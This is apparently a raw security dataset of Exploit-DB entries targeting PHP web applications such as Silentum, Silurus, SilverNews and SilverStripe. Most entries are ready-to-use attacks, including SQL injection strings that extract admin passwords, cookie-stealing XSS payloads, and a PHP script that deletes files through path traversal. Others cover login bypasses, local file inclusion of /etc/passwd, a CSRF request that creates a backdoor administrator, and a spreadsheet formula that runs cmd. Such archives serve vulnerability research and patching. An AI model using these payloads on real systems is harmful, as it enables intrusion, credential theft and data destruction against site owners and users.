deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9202
Description: Silentum Guestbook 2.0.2 - 'silentum_Guestbook.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-07-20
Author: Bgh7

Exploit:
##Silentum Guestbook v2.0.2 (silentum_guestbook.php) Sql Injection Vuln.
#######################################################################
#######################################################################
##Yazar: Bgh7
##
##Turk Bilisim Gucleri Group / Ihlilal Hatti
##
##ByBgh7[a]msn.com
##
##Http://Bgh7.Blogspot.Com
##
##Bug: Sql Injection
##
##脛掳ndir/Download: http://hypersilence.net/silentum_guestbook.php
##
##Biz ki neler g脙露rd脙录k, biz ki neler 脙搂ektik... 2-3 脙鈥kik g脙露zl脙录den mi korkaca脛鸥脛卤z ?
##脙鈥n s脙露m脙录recek bir rezerv daha buldu脛鸥unu san脛卤yor, yaz脛卤k...
#######################################################################
#######################################################################
Sql: silentum_guestbook.php?messageid=-1 UNION ALL SELECT 0,0,0,0,concat(u_name,0x3a,u_password,0x3a,u_email),0,0 FROM silentum_admin/**
#######################################################################
#######################################################################
Thanks: m3rcil3sS & GhostKing & milw0rm & All Turk脛卤sh Attackers

# milw0rm.com [2009-07-20]
Exploit-DB #32337
Description: Silentum LoginSys 1.0 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-09-06
Author: Maximiliano Soler

Exploit:
source: https://www.securityfocus.com/bid/31055/info

Silentum LoginSys is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Silentum LoginSys 1.0.0 is vulnerable; other versions may also be affected. 

http://www.example.com/login.php?message=[XSS]
Exploit-DB #7601
Description: Silentum LoginSys 1.0.0 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-12-28
Author: Osirys

Exploit:
[START]

####################################################################################################################
[0x01] Informations:

Script         : Silentum LoginSys 1.0.0
Download       : http://www.hotscripts.com/jump.php?listing_id=69667&jump_type=1
Vulnerability  : Insecure Cookie Handling
Author         : Osirys
Contact        : osirys[at]live[dot]it
Website        : http://osirys.org
Notes          : Proud to be Italian
Greets:        : x0r, emgent, Jay, str0ke, Todd and AlpHaNiX


####################################################################################################################
[0x02] Bug: [Insecure Cookie Handling]
######

Bugged file is: /[path]/login2.php

[CODE]

	else {
	setcookie("logged_in", $login_user_name, time()+60*60*24*$logged_in_for, "/");
	header("Location: index.php");
	exit;
	}

[/CODE]

If we log in correctly, a cookie is set with name "logged_in" and as content the username name.

[!] FIX: Set as content username's password.

[CODE] setcookie("logged_in", $login_password, time()+60*60*24*$logged_in_for, "/"); [/CODE]


[!] EXPLOIT: javascript:document.cookie = "logged_in=admin_username; path=/";
             *admin_username is the nick of the administrator

####################################################################################################################

[/END]

# milw0rm.com [2008-12-28]
Exploit-DB #7732
Description: Silentum Uploader 1.4.0 - Remote File Deletion
Type: webapps
Platform: php
Date: 2009-01-11
Author: Danny Moules

Exploit:
Vendor: http://hypersilence.net
Version(s): Silentum Uploader 1.4.0 (May also affect earlier versions)
Credit: Danny Moules
Critical: Yes

See PUSH 55 Advisory at http://www.push55.co.uk/advisories.php?id=2

----

Due to insufficient validation of client-side data, we can alter the path of files to be deleted to a file outside the intended directory.

The following PoC will delete a file named 'secret.txt' one level above the application folder.

You must have already uploaded a file or you can visit APPLICATIONFOLDER/upload_log.txt (on a default installation) to ascertain the name of existing files.

---

<?php

$strExistingFile = "files/secret.txt"; //Must exist, resides in /files by default
$strToDelete = "\..\..\..\secret.txt"; //Designates 'secret.txt', sat one level above the application folder, for deletion
$strUploadScript = "http://www.example.com/uploader/upload.php";

$objCurl = curl_init();
curl_setopt($objCurl, CURLOPT_URL, $strUploadScript."?delete=".$strExistingFile.$strToDelete);
curl_setopt($objCurl, CURLOPT_RETURNTRANSFER, true);
$strDump = curl_exec($objCurl);
curl_close($objCurl);

if(strpos($strDump, "No such file or directory") !== false)
{
	echo("$strToDelete didn't exist. \n");
}
else if(strpos($strDump, "Permission denied") !== false)
{
	echo("Permission was denied when deleting $strToDelete. \n");
}
else if(strpos($strDump, "function.unlink") !== false)
{
	echo("An unexpected error occured when deleting $strToDelete. \n");
}
else
{
	echo("Looks as though deletion of $strToDelete was successful.\n");
}

?>

# milw0rm.com [2009-01-11]
Exploit-DB #37207
Description: SiliSoftware PHPThumb() 1.7.1[PII_REDACTED]37 - '/demo/PHPThumb.demo.random.php?dir' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-05-16
Author: Gjoko Krstic

Exploit:
source: https://www.securityfocus.com/bid/53572/info
 
phpThumb() is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
phpThumb() 1.7.1[PII_REDACTED]37 is vulnerable; other versions may also be affected. 

GET [SOME_CMS]/phpthumb/demo/phpThumb.demo.random.php?dir="><script>alert(document.cookie);</script> HTTP/1.1
Exploit-DB #37206
Description: SiliSoftware PHPThumb() 1.7.1[PII_REDACTED]37 - '/demo/PHPThumb.demo.showpic.php?title' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-05-16
Author: Gjoko Krstic

Exploit:
source: https://www.securityfocus.com/bid/53572/info

phpThumb() is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

phpThumb() 1.7.1[PII_REDACTED]37 is vulnerable; other versions may also be affected. 

GET [SOME_CMS]/phpthumb/demo/phpThumb.demo.showpic.php?title="><script>alert(document.cookie);</script> HTTP/1.1
Exploit-DB #14324
Description: Sillaj time tracking tool - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-07-10
Author: L0rd CrusAd3r

Exploit:
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:Sillaj Authentication Bypass
Vendor url:http://sillaj.sourceforge.net/
Version:1
Published: 2010-07-11
Greetz to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic Bluehat,
Sai, KD, M4n0j.
Special Greetz: Topsecure.net, inj3ct0r Team ,Andhrahackers.com
Shoutzz:- To all ICW members.
~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~
Description:

Sillaj is a PHP time tracking tool. It allows you to register time on
projects and tasks and create various reports. Multiuser and multilanguage,
it uses a database backend and is themable through Smarty templates. Code:
PHP 4.0

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*Authentication Bypass

Use the string a' or '1'='1 for Username and Password to gain access.

# 0day n0 m0re #
# L0rd CrusAd3r #


-- 
With R3gards,
L0rd CrusAd3r
Exploit-DB #34643
Description: Silurus Classifieds - 'category.php?ID' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-06
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43278/info

Silurus System is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Silurus System 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/category.php?ID="><script>alert(document.cookie);</script>
Exploit-DB #34645
Description: Silurus Classifieds - 'search.php?keywords' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-06
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43278/info
  
Silurus System is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
Silurus System 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/search.php?go=1&keywords="><script>alert(document.cookie);</script>
Exploit-DB #34644
Description: Silurus Classifieds - 'wcategory.php?ID' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-06
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43278/info
 
Silurus System is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Silurus System 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/wcategory.php?ID="><script>alert(document.cookie);</script>
Exploit-DB #45838
Description: Silurus Classifieds Script 2.0 - 'wcategory' SQL Injection
Type: webapps
Platform: php
Date: 2018-11-13
Author: Ihsan Sencan

Exploit:
# Exploit Title: Silurus Classifieds Script 2.0 - SQL Injection
# Dork: N/A
# Date: 2018-11-11
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://snowhall.com/store/silurus/
# Software Link: https://netcologne.dl.sourceforge.net/project/silurus/silurus_2.0.zip
# Version: 2.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/wcategory.php?ID=[SQL]
# 
GET /[PATH]/wcategory.php?ID=%36%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%32%2c%33%2c%28%53%45%4c%45%43%54%20%47%52%4f%55%50%5f%43%4f%4e%43%41%54%28%74%61%62%6c%65%5f%6e%61%6d%65%20%53%45%50%41%52%41%54%4f%52%20%30%78%33%63%36%32%37%32%33%65%29%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%54%41%42%4c%45%53%20%57%48%45%52%45%20%54%41%42%4c%45%5f%53%43%48%45%4d%41%3d%44%41%54%41%42%41%53%45%28%29%29%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2d%2d%20%2d HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=9ujoo8291nqkbribmilpl0sdo3; __utma=112[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]929662.1; __utmb=112705988.1.10[PII_REDACTED]; __utmc=112705988; __utmz=112[PII_REDACTED]929662.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sun, 11 Nov 2018 08:48:25 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Exploit-DB #9538
Description: Silurus Classifieds System - 'category.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-08-28
Author: Mr.SQL

Exploit:
###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability ( category.php ID )
##
## Silurus Classifieds System
##
## http://snowhall.com/silurus
##
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.55a.NeT
##
## Email  : SQL@Hotmail.iT
##
########################
########################
##
## -[[: ExploiteS :]]-
##
## www.TraGeT.CoM/category.php?ID=1+and+1=0+UNION+SELECT+0,0,0,CONCAT_WS(0x3a3a,NickName,Password),0,0,0,0,0,0+FROM+Profiles--
## www.TraGeT.CoM/category.php?ID=1+and+1=0+UNION+SELECT+0,0,0,CONCAT_WS(0x3a3a,Name,Password),0,0,0,0,0,0+FROM+Admins--
##
########################
########################
 
Download ::  http://snowhall.com/downloads/silurus.php
 
#########################################################################################################
#########################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                        
:: HaCkEr_EGy :: Dark MaSTer  :: His0k4 :: User-Ma$keN :: ALwHeD :: Ghost Hacker :: MuslimS HaCkErS ::
#########################################################################################################
######################################################################################################### 

# milw0rm.com [2009-08-28]
Exploit-DB #8004
Description: SilverNews 2.04 - Authentication Bypass / Local File Inclusion / Remote Code Execution
Type: webapps
Platform: php
Date: 2009-02-06
Author: x0r

Exploit:
#########################################################################################
[0x01] Informations:

Name           : SilverNews 2.04
Download       :
http://www.silver-scripts.de/scripts.php?script=SilverNews&l=en
Vulnerability  : Auth Bypass\LFI\RCE
Author         : x0r
Contact        : andry2000@hotmail.it
Notes          : Proud to be Italian
#########################################################################################
[0x02] Bug:

Bugged file is /[path]/admin.php

[Code]
	// Get the user information from the database
	$getinfo = $sql->query("SELECT password, username, id FROM
sn".$sql->prefix."_user WHERE username = '".$_POST['username']."' AND
password = '".$_POST['password']."'");
	$info = $sql->fetch_array($getinfo);
...

	// If "act" isn't set the user will be sent to the homepage.
	if (!$_GET['act'] AND !$_POST['act'] AND !$_GET['section'])
	{
		$_GET['section'] = 'home';
	}

	require "admin/header.php";

	if (file_exists('admin/'.$_GET['section'].".php"))
	{
		require 'admin/'.$_GET['section'].'.php'; #LFI
	}
	else
	{
		$admin->error('Datei konnte nicht gefunden werden!');
	}

	require "admin/footer.php";
[/code]

#########################################################################################


#########################################################################################
[0x03] Exploit:

Exploit: username: ' or '1=1
         password: x0r

LFI: admin.php?section=../../../../../../../../../../etc/passwd%00

RCE:
So we can bypass the admin login and then go to admin/settings.php and put your
evil code ^^ ex: 'show_cat_prefix' => $_POST['show_cat_prefix'], in the sho_cat_prefix we
put: x0r'; echo 'lol   --> /data.inc.php

########################################################################################

# milw0rm.com [2009-02-06]
Exploit-DB #38689
Description: SilverStripe CMS - 'MemberLoginForm.php' Information Disclosure
Type: webapps
Platform: php
Date: 2013-08-01
Author: Fara Rustein

Exploit:
source: https://www.securityfocus.com/bid/61578/info

SilverStripe is prone to an information-disclosure vulnerability.

An attacker can exploit this issue to gain access to sensitive information that may aid in further attacks.

SilverStripe 3.0.3 is vulnerable; other versions may also be affected. 

http://<X.X.X.X:Port>/Security/LoginForm?AuthenticationMethod=MemberAuthenticator&Email=<email>&Password=<password>&BackURL=%2Fadmin%2Fpages&action_dologin=Log+in
Exploit-DB #11244
Description: SilverStripe CMS 2.3.5 - Cross-Site Request Forgery / Open Redirection
Type: webapps
Platform: php
Date: 2010-01-24
Author: cp77fk4r

Exploit:
# Exploit Title: Silverstripe <= 2.3.5 Cross Site Request Forgery & Open Redirection.
# Date: 12/01/10
# Author: cp77fk4r | empty0page[SHIFT+2]gmail.com | www.DigitalWhisper.co.il
# Vendor: www.silverstripe.org | 
# Version: 2.0.0
# Tested on: PHP
#
#
##Open Redirection:
(OWASP: An open redirect is an application that takes a parameter and redirects a user to the parameter value without any validation. This vulnerability is used in phishing attacks to get users to visit malicious sites without realizing it.)
#
http://server/Security/login?BackURL=[URL]
#
PoC:
http://server/Security/login?BackURL=http://www.google.com
#
#
##Cross Site Request Forgery
(CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email/chat), an attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application.)
#
Add new Superuser Account:
#
HTTP GET: /admin/security/EditForm?fieldName=Members&action_callfieldmethod&methodName=addtogroup
HTTP POST: ajax=1&Title=Administrators&MemberSearch=&ctf%5BID%5D=1&MemberFieldName=Members&MemberDontShow[CREDENTIAL_REDACTED]=Filter&FirstName=[BACKDOOR]&Surname=[BACKDOOR]&Email=[MAIL]&SetPassword=[BACKDOOR]&ctf%5BID%5D=1&SecurityID=160711687&action_addtogroup%3FformController%3Dadmin%2Fsecurity%2FEditForm%2Ffield%2FMembers%2FAddRecordForm=Add&Permissions%5B1%5D%5BArg%5D=0&Permissions%5Bnew%5D%5BArg%5D%5B%5D=&ID=1&SecurityID=160711687
#
PoC: (Username: backdoor; [CREDENTIAL_REDACTED])
HTTP GET: /admin/security/EditForm?fieldName=Members&action_callfieldmethod&methodName=addtogroup
HTTP POST: ajax=1&Title=Administrators&MemberSearch=&ctf%5BID%5D=1&MemberFieldName=Members&MemberDontShow[CREDENTIAL_REDACTED]=Filter&FirstName=backdoor&Surname=backdoor&Email=blah%40blah.blah&Set[CREDENTIAL_REDACTED]=1&SecurityID=160711687&action_addtogroup%3FformController%3Dadmin%2Fsecurity%2FEditForm%2Ffield%2FMembers%2FAddRecordForm=Add&Permissions%5B1%5D%5BArg%5D=0&Permissions%5Bnew%5D%5BArg%5D%5B%5D=&ID=1&SecurityID=160711687
#
#
Delete user: [id]=user id (by default, the admin id is 1)
#
HTTP GET: /admin/security/EditForm/field/Members/item/[id]/delete
HTTP POST: forceajax=1
#
PoC: (delete the Admin account)
HTTP GET: /admin/security/EditForm/field/Members/item/1/delete
HTTP POST: forceajax=1
#
#
[e0f]
Exploit-DB #36226
Description: SilverStripe CMS 2.4.5 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-10-11
Author: Stefan Schurtz

Exploit:
source: https://www.securityfocus.com/bid/50063/info

SilverStripe is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

SilverStripe 2.4.5 is vulnerable; other versions may also be affected. 

http://www.example.com/SilverStripe-v2.4.5/admin/reports/?&#039;"</script><script>alert(document.cookie)</script>
http://www.example.com/SilverStripe-v2.4.5/admin/comments/?&#039;"</script><script>alert(document.cookie)</script>
http://www.example.com/SilverStripe-v2.4.5/admin/?&#039;"</script><script>alert(document.cookie)</script>
http://www.example.com/SilverStripe-v2.4.5/admin/show/4?&#039;"</script><script>alert(document.cookie)</script>
http://www.example.com/SilverStripe-v2.4.5/admin/show/2?&#039;"</script><script>alert(document.cookie)</script>
http://www.example.com/SilverStripe-v2.4.5/admin/show/root?&#039;"</script><script>alert(document.cookie)</script>
http://www.example.com/SilverStripe-v2.4.5/admin/show/3?&#039;"</script><script>alert(document.cookie)</script>
http://www.example.com/SilverStripe-v2.4.5/admin/show/?&#039;"</script><script>alert(document.cookie)</script>
http://www.example.com/SilverStripe-v2.4.5/admin/assets/?&#039;"</script><script>alert(document.cookie)</script>
http://www.example.com/SilverStripe-v2.4.5/admin/show/1?&#039;"</script><script>alert(document.cookie)</script>
http://www.example.com/SilverStripe-v2.4.5/admin/show/5?&#039;"</script><script>alert(document.cookie)</script>
http://www.example.com/SilverStripe-v2.4.5/admin/security/?&#039;"</script><script>alert(document.cookie)</script>
Exploit-DB #37945
Description: SilverStripe CMS 2.4.x - 'BackURL' Open Redirection
Type: webapps
Platform: php
Date: 2012-10-15
Author: Aung Khant

Exploit:
source: https://www.securityfocus.com/bid/55915/info

SilverStripe is prone to a URI-redirection vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit may aid in phishing attacks; other attacks are possible.

SilverStripe 2.4.7 and prior are vulnerable. 

http://www.example.com/index.php/Security/login?BackURL=http://example1.com
Exploit-DB #43396
Description: SilverStripe CMS 3.6.2 - CSV Excel Macro Injection
Type: webapps
Platform: php
Date: 2017-12-26
Author: Ishaq Mohammed

Exploit:
Exploit Title: SilverStripe CMS - 3.6.2 CSV Excel Macro Injection
Vendor Homepage: https://www.silverstripe.org/
Software Link: https://www.silverstripe.org/download
Discovered by: Ishaq Mohammed
Contact: https://twitter.com/security_prince
Website: https://about.me/security-prince
Category: web apps
Platform: PHP

Description:

In the CSV export feature of the SilverStripe CMS, it's possible for the
output to contain macros and scripts, which if imported without
sanitization into software (including Microsoft Excel) may be executed.

Proof of Concept
Steps to Reproduce:

1. Login with normal user's credentials
2. Access the below URL via your browser:
http://localhost/SilverStripe/admin/myprofile
3. Enter the below payload in the "First Name" field and save the profile"
@SUM(1+1)*cmd|' /C calc'!A0
4. Log in with admin's credentials on a different browser
5. Access te security page at the below link:
http://localhost/SilverStripe/admin/security/
6. Click on "Export to CSV" option and open the exported CSV file in any
Spreadsheet application


Solution:
The issue has been fixed in the latest release of SilverStripe which can be
downloaded from here: https://www.silverstripe.org/download

Reference:
https://www.silverstripe.org/download/security-releases/ss-2017-007